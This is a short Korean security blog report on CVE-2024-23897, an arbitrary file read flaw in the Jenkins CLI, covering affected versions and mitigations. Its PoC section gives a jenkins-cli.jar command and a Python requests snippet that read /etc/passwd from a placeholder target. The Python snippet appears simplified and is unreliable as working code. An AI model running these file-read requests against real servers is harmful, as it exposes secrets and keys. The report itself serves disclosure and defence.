BLOG
Tracefield · 02
Tracefield · 01
블로그 · 14
Vibe Audit · 04
Vibe Audit · 03
Vibe Audit · 02
Vibe Audit · 01
출판편집자 · 01
StudyTree · 01
SecurityOps · 02
SecurityOps · 01
AI챗봇 · 04
AI챗봇 · 03
AI챗봇 · 02
AI챗봇 · 01
퍼플심 · 04
퍼플심 · 03
퍼플심 · 02
퍼플심 · 01
블로그 · 13
rootscan · 07
rootscan · 06
블로그 · 12
블로그 · 11
블로그 · 10
블로그 · 09
블로그 · 08
블로그 · 07
블로그 · 06
블로그 · 05
블로그 · 04
블로그 · 03
블로그 · 02
블로그 · 01
rootscan · 05
rootscan · 04
rootscan · 03
asmspeak · 03
asmspeak · 02
rootscan · 02
asmspeak · 01
rootscan · 01
웹보안도구 · 02
웹보안도구 · 01
루트캠프 · 02
루트캠프 · 01
All notes 167
CVE_CVE-2024-23897 약식 보고서
1. 3줄 요약
- 2024년 1월 24일, Jenkins 보안 공지에서
CVE-2024-23897가 발표됐다. - 이 취약점은 Jenkins 내장 CLI 파서가
@파일경로형식 인자를 파일 내용으로 자동 확장(expandAtFiles)하는 구조적 결함 때문에 발생한다. - 인증 없는 공격자도 서버 내부 임의 파일을 읽을 수 있고, 권한이 더 있으면 비밀 파일, 키, 설정 탈취를 거쳐 원격 코드 실행(RCE)까지 이어질 수 있다.
2. 대상
영향 대상은 Jenkins다.
3. 취약 버전
영향 버전은 아래와 같다.
- Jenkins 2.441 이하
- Jenkins LTS 2.426.2 이하
4. PoC 코드 정보
공개된 PoC는 아래 저장소에서 확인할 수 있다.
4.1. 익스플로잇 방식 요약
핵심은 CLI에 @/etc/passwd 같은 파일 경로를 인자로 넘겨, 서버가 그 내용을 읽게 만드는 구조다.
CLI 예시는 아래와 같다.
java -jar jenkins-cli.jar -s http://TARGET/ -auth user:pass build JOB_NAME @/etc/passwd
이 경우 서버가 /etc/passwd 내용을 반환하면 arbitrary file read가 성립한다.
HTTP 요청 기반 예시는 아래처럼 볼 수 있다.
import requests
url = "http://TARGET/cli?remoting=false"
data = {"json": "{\"\": \"@/etc/passwd\"}"}
r = requests.post(url, data=data)
print(r.text)
이 방식도 응답에 /etc/passwd 내용 일부나 전체가 출력되면 성공으로 본다.
PoC가 성립하려면 아래 조건이 필요하다.
- Jenkins 버전이
2.441이하이거나, LTS2.426.2이하여야 한다. - CLI 기능이 활성화돼 있어야 한다.
- 외부에서 CLI 접근이 허용돼 있어야 한다.
실무 위험은 아래처럼 본다.
- 민감 정보 탈취
- 권한 상승
- RCE 가능성
5. 대응 방안
우선순위는 아래 순서로 잡는 편이 안전하다.
- Jenkins
2.442또는 LTS2.426.3이상으로 즉시 업데이트한다. - 공식 제공
disable-cli.groovy스크립트로 CLI를 비활성화하고, WebSocket 접근 차단 쪽 프록시 설정도 강화한다. - Jenkins를 공개망에 직접 노출하지 않고, 내부망이나 VPN 뒤에 배치한다. 외부에서 CLI나 Jenkins 웹 UI에 직접 접근하지 못하도록 방화벽과 ACL을 적용한다.
- CLI 엔드포인트 접근 로그를 모니터링하고,
@가 포함된 비정상 파라미터를 탐지할 수 있게 로그 분석 체계를 갖춘다.

